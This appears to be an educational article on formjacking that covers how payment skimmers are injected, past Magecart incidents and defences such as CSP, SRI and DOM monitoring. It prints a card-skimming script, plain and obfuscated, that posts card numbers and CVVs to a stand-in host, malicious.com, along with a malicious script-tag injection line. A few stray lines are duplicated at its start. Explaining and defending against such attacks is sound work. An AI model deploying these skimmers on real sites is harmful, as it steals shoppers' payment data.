Formjacking is a sophisticated cyberattack aimed at stealing sensitive data entered by users into web forms, especially payment forms, such as credit card information, CVV codes, names, addresses, and other personal data. This technique is actively used by cybercriminals for financial gain, as the stolen data can be sold on the black market or used for fraudulent transactions. Let's take a detailed, step-by-step look at the formjacking process for educational purposes, to understand how it works, why it's effective, and how to protect against it.
Code example (simplified):
This code monitors the form submission and transmits the card data to the attacker's server.
It is also useful to implement client-side monitoring, for example using JavaScript to detect unauthorized changes to the DOM:
How does formjacking work?
1. Finding and exploiting vulnerabilities
Attackers begin by searching for vulnerabilities in a website to inject malicious code. Common attack methods include:- Vulnerabilities in CMS or Plugins: Popular content management systems (CMS) such as WordPress, Magento, or Joomla are often targeted due to their widespread use. Outdated versions of CMS or plugins may contain known vulnerabilities that are easily exploited. For example, in 2018, attacks on Magento through plugin vulnerabilities led to widespread formjacking.
- Cross-site scripting (XSS): If a site is vulnerable to XSS, an attacker can inject malicious JavaScript code through user input (such as comments or forms), which is then executed in the victim's browser.
- Compromising third-party libraries: Many websites use third-party JavaScript libraries (e.g., jQuery) or services (analytics, chats, widgets). If an attacker compromises the server providing these resources, the code on all websites using that library becomes infected.
- Phishing or social engineering: Attackers can gain access to a site's administrative panel using stolen credentials obtained through phishing attacks on site owners or developers.
- Direct server hacking: If a website's server is poorly secured (e.g. weak SSH passwords or vulnerabilities in the server software), an attacker can directly inject code into the website's files.
2. Injection of malicious code
Once access is gained, attackers inject malicious JavaScript code into the page containing the payment form. This can be accomplished in several ways:- Direct modification of website files: Code is added to the HTML, JavaScript, or PHP files that support the payment page. For example, the line <script src=" https://malicious.com/script.js "></script> is added to the checkout.html file.
- Dynamic injection through vulnerabilities: Code can be injected through vulnerabilities in server logic (for example, SQL injections or incorrect data handling), which allows a script to be temporarily loaded when the page loads.
- Third-party resources: Attackers can replace a legitimate script (for example, Google analytics) with a malicious one hosted on their server that looks identical.
Code example (simplified):
JavaScript:
// Malicious script embedded in the page
document.getElementById('payment-form').addEventListener('submit', function(e) {
const cardNumber = document.getElementById('card-number').value;
const cvv = document.getElementById('cvv').value;
fetch('https://malicious.com/steal', {
method: 'POST',
body: JSON.stringify({ card: cardNumber, cvv: cvv })
});
});
This code monitors the form submission and transmits the card data to the attacker's server.
3. Data interception
Once injected, the malicious code is executed in the user's browser when the page loads or the payment form is accessed. Here's how it works:- Input tracking: The script uses JavaScript events such as oninput, onchange or onsubmit to capture data entered by the user into form fields (e.g. card number, expiration date, CVV, cardholder name).
- Real-time data collection: Unlike traditional skimming, formjacking often sends data as soon as it's entered, rather than waiting for the form to be submitted. This makes the attack less noticeable.
- Obfuscation and masking: Code is often obfuscated using tools such as JavaScript Obfuscator to make it more difficult to analyze. For example:
JavaScript:// Obfuscated code var _0x1a2b=['value','card-number','getElementById','POST','https://malicious.com/steal'];(function(_0x3c4d,_0x5e6f){var _0x7a8b=function(_0x9c0d){while(--_0x9c0d){_0x3c4d['push'](_0x3c4d['shift']());}};_0x7a8b(++_0x5e6f);}( _0x1a2b,0x1f4));var _0x3c4d=function(_0x5e6f,_0x7a8b){_0x5e6f=_0x5e6f-0x0;var _0x9c0d=_0x1a2b[_0x5e6f];return _0x9c0d;};fetch(_0x3c4d('0x4'),{method:_0x3c4d('0x3'),body:JSON.stringify({card:document[_0x3c4d('0x2')](_0x3c4d('0x1'))[_0x3c4d('0x0')]})});
- Data Submission: Collected data is sent to the attacker's server via HTTP requests (usually POST), often using encrypted connections (HTTPS) to avoid raising suspicions from monitoring systems.
4. Maintaining secrecy
Formjacking is effective because it has minimal impact on user experience:- Transparency for the user: The payment form continues to function as usual, the user successfully completes the purchase, and no visible interruptions occur.
- Mimicry of legitimate scripts: Malicious code can be disguised as popular services (e.g. Google Analytics, Cloudflare) or named as analytics.js to avoid attention.
- Long-term work: The attack can remain undetected for months until the site owners discover the data breach or conduct an audit.
5. Use of stolen data
Once intercepted, the data can be used as follows:- Direct fraud: Fraudsters use card details to make online purchases.
- Black market sales: Data is sold on darknet markets such as Genesis Market, where prices for a full set of card data (card number, CVV, name, address) can reach $50–$100.
- Phishing or further attacks: Stolen data can be used for targeted attacks, such as tricking the victim into providing additional information.
Why is formjacking effective?
- Wide reach: A single compromised site can affect thousands of users, especially if it is a popular online store.
- Difficulty of detection: The code is often obfuscated and the attack does not disrupt the functionality of the site, making it difficult to detect without specialized tools.
- Availability of tools: Attackers can use ready-made formjacking kits (for example, MageCart is a well-known group specializing in such attacks) that are sold on the darknet.
- Many websites have weak security: Small and medium-sized businesses often fail to invest in cybersecurity, making them easy targets.
Examples of real attacks
- MageCart and British Airways (2018): The MageCart group injected malicious code into the British Airways website, stealing the data of 380,000 customers. The script was added to the payment form and sent data to a server disguised as a legitimate domain.
- Ticketmaster (2018): Attackers compromised a third-party script (Inbenta) used on the site, allowing them to intercept user card data.
- Shopify Stores: Many small Shopify stores have fallen victim to formjacking due to vulnerabilities in third-party applications or weak passwords.
How to protect yourself from formjacking?
For website owners:
- Software update:
- Regularly update your CMS, plugins, libraries, and server software. Use tools like Dependabot to track outdated dependencies.
- Content Security Policy (CSP):
- Configure CSP to restrict script loading to trusted domains. Example header:
HTTP:Content-Security-Policy: script-src 'self' https://trusted.com;
- Configure CSP to restrict script loading to trusted domains. Example header:
- Subresource Integrity (SRI):
- Use SRI to check the integrity of third-party scripts:
HTML:<script src="https://example.com/script.js" integrity="sha256-..." crossorigin="anonymous"></script>
- Use SRI to check the integrity of third-party scripts:
- Monitoring and audit:
- Use tools like Sucuri, Wordfence, or OWASP ZAP to monitor changes in your site's code and detect suspicious scripts.
- Conduct regular security audits and vulnerability scanning.
- Encryption and tokenization:
- Use payment gateways (e.g. Stripe, PayPal) that process card data on their end, minimizing the risk of it being intercepted on your website.
- Use tokenization to replace sensitive data with temporary identifiers.
- Access restriction:
- Use two-factor authentication (2FA) for admin panels.
- Restrict access to the server by IP or via VPN.
For users:
- URL Check: Make sure you are on a legitimate site (check HTTPS and domain).
- Use virtual cards: Use disposable or virtual cards for online purchases to minimize the damage in case of a breach.
- Antivirus and extensions: Use antivirus software and browser extensions such as uBlock Origin to block suspicious scripts.
- Transaction Monitoring: Check your card statements regularly and set up transaction alerts.
Technical aspects of protection
For a deeper understanding, let's look at an example of CSP implementation for formjacking protection:
HTTP:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-analytics.com; connect-src 'self' https://api.payment-gateway.com;
- default-src 'self': Limits loading resources only from the current domain.
- script-src 'self' https://trusted-analytics.com: Allows scripts to run only from the site and trusted analytics domain.
- connect-src 'self' https://api.payment-gateway.com: Limits sending data to the website server and payment gateway only.
It is also useful to implement client-side monitoring, for example using JavaScript to detect unauthorized changes to the DOM:
JavaScript:
const observer = new MutationObserver((mutations) => {
mutations.forEach((mutation) => {
if (mutation.addedNodes.length) {
mutation.addedNodes.forEach((node) => {
if (node.tagName === 'SCRIPT' && !node.src.includes('trusted.com')) {
console.warn('Suspicious script detected:', node.src);
node.remove(); // Remove the suspicious script
}
});
}
});
});
observer.observe(document.documentElement, { childList: true, subtree: true });